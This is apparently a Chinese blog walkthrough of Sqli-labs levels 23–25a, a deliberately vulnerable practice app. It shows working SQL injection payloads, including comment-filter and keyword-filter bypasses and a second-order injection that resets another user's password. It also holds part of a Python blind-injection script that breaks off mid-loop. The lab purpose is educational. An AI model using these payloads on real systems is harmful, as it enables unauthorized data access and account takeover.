Sqli-labs靶场详细攻略Less 23-28a

Less 23-28a

Less 23 GET - Error based - strip comments

这一关还是使用get方法进行注入,不过这次对#--+这些用于注释的字符做了过滤。这样我们可以使用两个'进行绕过,第一个'用于闭合原代码语句中的前一个',后一个用来闭合源代码语句中的后一个'。在两个单引号中间加上我们想要执行的sql语句即可。

在id参数上传入代码

id=-1' union select 1,2,3 '

发现回显的部分还是与基础部分的效果一样,也就是回显3列的查询,显示出的是第2,3列的内容。

在这里插入图片描述

那么,就可以正常注入了,在union select的第2或3的位置放上查询的payload

id=-1' union select 1,2,database() '

在这里插入图片描述

查询成功。

Less 24 POST- Second Oder Injections *Real treat* - Stored injection

这一关为二次排序注入,也叫存储型的注入,具体是将可能导致sql注入的字符先存入到数据库中,当再次调用这个而已构造的字符时,就可以实现sql注入。

在这一关中,假设我们要改掉数据库中原本的一个名为Dumb的账号的密码,我们可以先注册一个名为Dumb' -- 的用户(),密码设成123(随便一个自己能记住的数)。

在这里插入图片描述

注册成功

在这里插入图片描述

查看数据库,发现输入的用户名原封不动被放了进去,没有进行过滤。

在这里插入图片描述

然后我们使用Dumb' -- 这个账号进行登录。

在这里插入图片描述

登录成功,在这个页面可以更改当前帐号的密码,改一下试试。这里改成了111。

在这里插入图片描述

来数据库看一眼,发现我们创建的Dumb' -- 账号的密码没有改,而数据库中原本的Dumb账号的密码被改成了111。

在这里插入图片描述

用111这个密码尝试登陆Dumb账号

在这里插入图片描述

登陆成功。

看一下源码,看看为什么会这样

源码中更新数据库密码的sql语句如下所示。

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' 

当我们将用户名为Dumb' -- 的账号密码改为111时,这个sql语句就变为了:

UPDATE users SET PASSWORD='111' where username='Dumb' -- ' and password='$curr_pass' 

-- 后面的语句就都被注释掉了,原语句中还有对当前账户原密码的检查也一同被注释掉了,这样这个语句就变成了把Dumb账号的密码改为111。

Less 25 GET - Error based - All your OR & AND belong to us - String single quotes

这一关过滤了字符串andor,不过经过尝试,这里只是对这两个字符串删除了一次,可以使用双写技巧轻易绕过。

-1' oorr 1=1 --+

在这里插入图片描述

剩下的流程就跟前几关相同了,这里使用union select查询数据库名。

在这里插入图片描述

查询成功。

Less 25a GET - Blind Based - All your OR & AND belong to us -integer based

这一关是过滤了or和and字符的bool型盲注,与上一关相同,这两个字符串都只过滤了一遍,一样的,改一下之前用过的get方法盲注的脚本。

from lxml import html
import requests

def getCheck(url,xpath,payload):
    r=requests.get(url+payload)
    tree=html.fromstring(r.text)
    check=tree.xpath(xpath)
    if('Your Login name' in check[0]):
        return 1
    else:
        return 0

def database_length(url,xpath):
    length=0
    for i in range(1,30):
        payload=" aandnd length((select database()))<%s --+"%i
        check=getCheck(url,xpath,payload)
        if(check):
            break
        else:
            length+=1
    print('Database length:'+str(length))
    return length

def database_name(url,xpath,dbl):
    dbname=''
    for i in range(1,dbl+1):
        for j in range(97,123
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值